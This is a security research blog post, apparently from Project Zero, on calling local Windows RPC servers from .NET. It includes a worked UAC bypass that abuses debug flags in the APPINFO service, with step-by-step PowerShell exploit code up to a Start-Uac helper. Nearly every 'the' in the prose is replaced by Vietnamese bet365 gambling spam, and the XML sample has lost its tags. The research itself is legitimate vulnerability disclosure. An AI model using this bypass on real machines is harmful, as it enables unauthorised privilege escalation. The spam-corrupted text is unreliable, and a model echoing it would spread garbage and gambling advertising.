Tuesday, December 17, 2019

Calling Local Windows RPC Servers from .NET

Posted by James Forshaw, Project Zero

As much as I enjoy finding security vulnerabilities in Windows, in many ways I prefer cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 challenge of writing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tools to make it easier for me and ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rs to do cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hunting. This blog post gives an overview of using some recent tooling I’ve released as part of my sandbox analysis project to access Local RPC servers on Windows from .NET. I’ll provide a worked example of using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tooling from PowerShell to exploit a novel and previously undocumented UAC bypass.

I’m not going to go into much detail about cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 challenges and decisions I faced implementing my tooling, for that I would recommend my presentation on this topic that I made at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 HITB Abu Dhabi and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Power of Community 2019 conferences. Slides are here, hopefully a video will be made available by one or ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 conferences at a future date.

Background

If you go through many of my recent security reports in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue tracker you’ll notice that I almost exclusively write my proof-of-concepts (POCs) in C#. I’m proficient in C++ but I find that C# just gives me cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 edge when writing programs to exploit complex logical flaws in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OS. To that end I consolidate a lot of my OS research into improving my NtApiDotNet library, which for my POCs can be trivially referenced from NuGet. I see writing proof-of-concepts in C# as having many advantages in terms of reliability, reducing effort and by offloading to an external library it simplifies cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code to what’s important for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 vendor to make an assessment.

Not everything can be written in C# (or .NET generally) and one of my big blind spots was anything which directly interacted with a Local RPC server. The primary reason for this blind spot is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tooling provided by Microsoft to generate clients only emits C code. I can’t write up an Interface Definition Language (IDL) file and generate a C# client directly.

Sometimes I get lucky and Microsoft provides a DLL on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 system which directly exposed cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 API. For example when I was researching cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Data Sharing Service I discovered that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OS also shipped cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DSCLIENT DLL which mapped calls one to one with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC service. I could cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n use P/Invoke to call cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DLL directly, at least once I’d figured out cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 undocumented API. The problem with this approach is it doesn’t scale. There’s no requirement for Microsoft to have made available a general purpose DLL to access cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 service, in fact cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 majority of RPC clients will be embedded directly in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 executables which interact with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 service.

You could compile cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 generated C code into your own DLL and call that from .NET (or use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 mixed-mode C++/CLI) but I wanted a pure managed code solution. Also after much investigation I came to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 conclusion that calling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 OS RPC runtime (RPCRT4.DLL) which implements cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 underlying client code via P/Invoke was going to be complex, and error prone. Writing my own implementation seemed to be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 best option.

There would be a number of advantages to a pure managed .NET implementation of a Local RPC client. For example you could eliminate almost all direct calls to native code (except to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 low-level kernel calls). This makes fuzzing a server safer over using a C client, because cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 worst thing to happen would be generating an exception which could be caught if an invalid value is passed to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client. Also as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 .NET compiler generates significant metadata into compiled assemblies you can use reflection to extract information about methods and structures at runtime. You could use this metadata to generate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 fuzzed data.

Has it Been Done Before?

Before jumping into such a complex project as writing my own Local RPC client I asked, has someone already developed a .NET based RPC client before? Even asking that isn’t a simple question as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s really two parts I needed to write:
  1. Tool to extract cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 information from existing RPC servers to generate a client.
  2. A Local RPC client implementation.
Here’s some of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tooling and libraries that I investigated during cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process but ultimately rejected, however cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y’re still useful in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir own right:

RPC View

This is a screenshot of RPC View. The tool has four sections. The upper left section shows the endpoints, the upper right shows the processes currently running, the lower left shows the interfactes by PID and UUID and the bottom right shows procedures, with indexes and addresses.

RPC View is an amazing tool to inspect what RPC servers are currently running. It’s all driven through a GUI (as shown above), you can select a process or an RPC endpoint and inspect what functions are available. Once you’ve found an RPC server of interest you can cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tool’s inbuilt decompiler to generate an IDL file which can be recompiled with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 existing Microsoft tooling. This would get me close to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first requirement, extracting RPC server information, although we’d still need to get from an IDL file to a .NET client. 

RPC View was originally closed source, but in 2017 was opened up and put on Github. However, it’s all written in C/C++ so couldn’t be easily used in a .NET application and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 IDL generation is incomplete (such as missing support for system handles and some structure types) and not ideal for our purposes as parsing a text format would be more complicated.

RPCForge

This picture is the title slide of the presentation of ALPC-RPC. The text reads

The RPCForge project was developed by Clément Rouault and Thomas Imbert as part of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365ir presentation at PacSec on Local RPC. The presentation is a great resource if you want to understand how Local RPC uses an in-built undocumented kernel feature called Advanced Local Procedure Calls (ALPC), and provides useful information on building your own Local RPC client using ALPC. The RPCForge project is a fuzzer for RPC client interfaces, it relies on a separate project PythonForWindows for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Local RPC implementation.

A cursory glance of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code should make one issue self-evident, it’s written in Python which doesn’t really help in my goals of a .NET managed client. I could attempt to use IronPython (a .NET implementation of Python 2.7) to run cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code, but that adds massive additional complexity for little benefit. It might be possible to write a code converter but that would take more effort than just writing a new implementation. Also cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 tooling to generate clients from existing RPC servers was never released (it was based on RPC View), making cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 existing code even less useful ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than as a reference.

SMBLibrary

The final tool I’ll mention is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 SMBLibrary project. This is an underappreciated .NET library which implements cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Server Message Block (SMB) protocol, versions 1 through 3. As part of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 library a simple Named Pipe-based RPC client has been implemented.

The library is written in C# and so would be directly useful for my purposes. Unfortunately cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC client implementation is very basic, only supporting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bare minimum of functionality needed for a few common RPC servers. The protocol used for Local RPC is not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same as that used for Named Pipes requiring a new implementation to be developed. The project also doesn’t contain any tooling to generate clients.

If you ever need to do security testing against SMB servers and you want to use a .NET language I’d highly recommend using this library. However, for our purposes it doesn’t meet cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bar.

The Implementation

The implementation I developed is all available in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Sandbox Analysis Tools Github repository. The implementation contains classes to load DLLs/EXEs and extract RPC server information to a .NET object. It also contains classes to marshal data using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Network Data Representation (NDR) protocol as well as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Local RPC client code. Finally I implemented a client generator which takes in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parsed RPC server information and generates a C# source code file.

The simplest way of accessing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se features is to install my NtObjectManager PowerShell module which exposes various commands to extract RPC server information as well as generating and connecting cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC client. I’ll demonstrate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se commands through a worked example.

Worked Example - UAC Bypass

As a worked example I wanted to pick a bug which can only be accessed by directly calling an RPC service. It’d also be useful if it was currently unpatched as that allows it to be easily demonstrated on a stock installation of Windows. Of course I can’t detail a real unpatched security vulnerability. However I can publish details if it’s not an issue that Microsoft consider a security boundary as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365y would not commit to fixing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 issue in a security bulletin and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re already exists unpatched public UAC bypasses which provide similar capabilities.

The full implementation of UAC, an RPC server exposed by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 APPINFO service, is hidden from users through cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ShellExecute APIs which means if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug is in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 service interface cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s no ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r way of exploiting it without directly calling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC server. It’s worth noting that Clément and Thomas’s talk at PacSec also presented a UAC bypass due to handling of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 command line parsing. What I’m going to detail here is a different bug entirely.

Overview

The RPC server in APPINFO has cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Interface ID of 201ef99a-7fa0-444c-9399-19ba84f12a1a and version 1.0. The main RPC function you call in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server is RAiLaunchAdminProcess as shown below (unimportant details omitted):

struct APP_PROCESS_INFORMATION {
    unsigned __int3264 ProcessHandle;
    unsigned __int3264 ThreadHandle;
    long  ProcessId;
    long  ThreadId;
};

long RAiLaunchAdminProcess(
    handle_t hBinding,
    [in][unique][string] wchar_t* ExecutablePath,
    [in][unique][string] wchar_t* CommandLine,
    [in] long StartFlags,
    [in] long CreateFlags,
    [in][string] wchar_t* CurrentDirectory,
    [in][string] wchar_t* WindowStation,
    [in] struct APP_STARTUP_INFO* StartupInfo,
    [in] unsigned __int3264 hWnd,
    [in] long Timeout,
    [out] struct APP_PROCESS_INFORMATION* ProcessInformation,
    [out] long *ElevationType
);

The majority of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 parameters for this function are similar to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CreateProcessAsUser API which is used by cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 service to start cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new UAC process. The most interesting parameter is CreateFlags. This flag parameter is directly mapped to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 dwCreateFlags parameter for CreateProcessAsUser. Ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r than verifying cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 caller passed CREATE_UNICODE_ENVIRONMENT, all ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r flags are passed as is to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 API. Are cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re any interesting flags? Yes, DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS automatically enable debugging on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new UAC process.

If you read my previous blog post on abusing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 user-mode debugger you might see where this is going. If we can enable debugging on an elevated UAC process and get a handle to its debug object we can request cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 first debug event which will return a full access handle to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process. This trick works even if we wouldn’t normally be able to open cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process directly for that level of access. We’d still need to get access to a handle to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debug object. To get a handle cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s a NtQueryInformationProcess information class you can request (ProcessDebugObjectHandle) once you’ve got a handle to an elevated process.

Unfortunately cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s a problem, accessing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debug object handle for a process requires having cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 PROCESS_QUERY_INFORMATION access right on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process handle. Due to security limits we’ll only get PROCESS_QUERY_LIMITED_INFORMATION access for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 elevated process handle returned in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 APP_PROCESS_INFORMATION::ProcessHandle structure field. This means we can’t just create an elevated process and open cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debug object. 

What can we do to still exploit it? The important thing to note is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debug object is created automatically inside cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CreateProcessAsUser API by calling cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following function exported by NTDLL.

NTSTATUS DbgUiConnectToDbg() {
    PTEB teb = NtCurrentTeb();
    if (teb->DbgSsReserved[1])
        return STATUS_SUCCESS;

    OBJECT_ATTRIBUTES ObjAttr{ sizeof(OBJECT_ATTRIBUTES) };
    return ZwCreateDebugObject(&teb->DbgSsReserved[1], DEBUG_ALL_ACCESS
        &ObjAttr, DEBUG_KILL_ON_CLOSE);
}

The handle to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debug object is stored inside a reserved field of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 TEB. This makes sense, as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CreateProcessAsUser and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 WaitForDebugEvent APIs do not allow cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 caller to specify an explicit debug object handle. Instead waiting for debug events must occur only on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same thread that created cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process. The result is all processes created on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same thread with a debugging flag share cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same debug object.

Going back to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RAiLaunchAdminProcess method cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 StartFlags parameter is not passed to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 CreateProcessAsUser API, instead it’s used to modify cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 behavior of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC method. It takes a number of different bit flags. The most important flag is in bit 0, if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bit is set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new process will be elevated ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365rwise cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process will not be elevated. Crucially, if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process isn’t elevated we would have enough access to open a handle to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process’ debug object, which could be shared with a subsequent elevated process. To exploit this issue we can follow cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se steps:

  1. Create a new non-elevated process through RAiLaunchAdminProcess with StartFlags set to 0 and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DEBUG_PROCESS create flag set. This will initialize cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debug object field in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 TEB of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC thread in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 server and assign it to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new process.
  2. Open a handle to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debug object using NtQueryInformationProcess with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 returned process handle.
  3. Detach cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debugger and terminate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new process as it’s no longer needed.
  4. Create a new elevated process through RAiLaunchAdminProcess with StartFlags set to 1 and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DEBUG_PROCESS create flag set. As cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debug object field in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 TEB is already initialized cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 existing object captured in step 2 is assigned to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new process.
  5. Retrieve cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 initial debug event which will return a full access process handle.
  6. With cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 new process handle code can be injected into cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 elevated process completing cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 UAC bypass.

There’s a few things to note about this exploit. Firstly, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365re’s no guarantee that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same thread will be used for each call to RAiLaunchAdminProcess. The RPC server code uses a thread pool and could dispatch cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 call on a different thread, this means cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debug object created in step 1 might not be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 same as assigned in step 4. You can mitigate this somewhat by repeating step 1 multiple times to try to initialize a debug object for all pool threads, capturing a handle to each one. You could be reasonably confident cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process created in step 4 will share one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 captured debug objects.

Secondly you’ll still get cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 UAC prompt when elevating cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process in step 4, however cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 default settings for Windows allow for select Windows binaries to be automatically elevated without a prompt. In a default installation you could spawn one of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se Windows binaries, such as cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Task Manager, and not see a prompt. As cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 bug we’re exploiting is in cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 service, not cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process we’re creating we’re free to pick any executable we like.

I should point out that cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 pattern of behavior where a process can be created in a debugged state is repeated in ocá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r APIs. For example cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 WMI Win32_Process class’ Create method takes a Win32_ProcessStartup object where you can specify cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365se same debug process flags. However, I couldn’t see a way of exploiting this behavior, but maybe someone else can?

Using PowerShell to Exploit

Finally we get to using my tools to exploit this UAC Bypass. We’ll use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 NtObjectManager PowerShell module as that’d be cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 quickest approach, but you could do it only with C# if you wanted to. For each step I’ll outline cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code you’ll want to run inside cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 PowerShell command shell.

Step 1: Install cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 NtObjectManager module from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 PowerShell gallery for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 current user. You’ll also need to set cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 PowerShell execution policy to allow for unsigned scripts to run. Note if you already have NtObjectManager installed and you want to ensure you have cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 latest version run cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Update-Module command instead.

Install-Module "NtObjectManager" -Scope CurrentUser

Step 2: Parse cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 APPINFO.DLL service executable to extract all RPC servers from cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DLL cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n filter everything but cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC server we’re interested in based on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Interface ID. Optionally you can add cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 -DbgHelpPath parameter to Get-RpcServer to point to a copy of DBGHELP.DLL from Debugging Tools for Windows to resolve method names using public symbols. In this case we’ll use an alternative approach in step 3 to ensure cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 function has cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 correct name.

$rpc = Get-RpcServer "c:\windows\system32\appinfo.dll" `
 | Select-RpcServer -InterfaceId "201ef99a-7fa0-444c-9399-19ba84f12a1a"

Step 3: Rename some specific parts of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC server interface. The parsed RPC server objects have mutable name strings for method names, parameters, structure fields etc. While it’s not necessary to do this step it makes cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 rest of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code easier to follow. The names can be assigned manually or you can use an XML file with cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 name information. You can generate a full XML file for a server using Get-RpcServerName function cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n edit it. The following is a simple example XML file which will rename cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 select parts:

<> 
   xmlns="http://schemas.datacontract.org/2004/07/NtObjectManager">
  201ef99a-7fa0-444c-9399-19ba84f12a1a
  1
  0
  
    
      0
      RAiLaunchAdminProcess
      
        
          10
          ProcessInformation
        
      
    
  
  
  
      0
      
      APP_STARTUP_INFO
    
    
      2
      
        
          0
          ProcessHandle
        
      
      APP_PROCESS_INFORMATION
    
  

If you save cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 file to names.xml cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n you can apply it to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC server object using cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 following code:

Get-Content "names.xml" | Set-RpcServerName $rpc

Step 4: Create a client object based on cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC server. This does a few things under cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 hood: it generates a C# source code file which implements cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC client, cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365n compiles that C# file into a temporary assembly, and finally it’ll create a new instance of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client object. The RPC client isn’t connected at cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 moment, it just implements cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 exposed functions and cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 code to marshal parameters. If you want to inspect cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 generated C# code you can also use cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Format-RpcClient function.

$client = Get-RpcClient $rpc

Step 5: Connect cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 client to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 Local RPC server ALPC port. As cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 UAC RPC server uses cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RPC Endpoint Mapper we don’t need to know cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 name of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 ALPC port, it can be automatically looked up. Usefully this process will also auto-start system services if cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 service has been registered with a specific start trigger, which is cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 case for cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 APPINFO service.

Connect-RpcClient $client

Step 6: Define a PowerShell function to wrap cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 call to cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 RAiLaunchAdminProcess method. This will make it easier to call, especially when we need to do it multiple times. We’ll pass cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 DEBUG_PROCESS flag to process creation but make it optional whecá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365r to elevate cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 process or not. The function will return a NtProcess object which can be used to access cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 properties of cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 created process including cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 debug object. Note that when calling RAiLaunchAdminProcess cá cược thể thao bet365_cách nạp tiền vào bet365_ đăng ký bet365 outbound parameters such as ProcessInformation have been converted to a return structure. This is a convenience for PowerShell use and can be disabled if you really want to use out and ref parameters.

function Start-Uac {
  Param(
    [Parameter(Mandatory, Position = 0)]
    [string]$Executable,
    [switch]$RunAsAdmin
  )

  $CreateFlags = [NtApiDotNet.Win32.CreateProcessFlags]::DebugProcess -bor `
        [NtApiDotNet.Win32.CreateProcessFlags]::UnicodeEnvironment
  $StartInfo = $client.New.APP_STARTUP_INFO()

  $result = $client.RAiLaunchAdminProcess($Executable, $Executable,`
          [int]$RunAsAdmin.IsPresent, [int]$CreateFlags,`
          "C:\", "WinSta0\Default", $StartInfo, 0, -1)
  if ($result.retval -ne 0) {
    $ex = [System.ComponentModel.Win32Exception]::new($result.retval)
    throw $ex
  }

  $h = $result.ProcessInformation.ProcessHandle.Value
  Get-NtObjectFromHandle $h -OwnsHandle
}

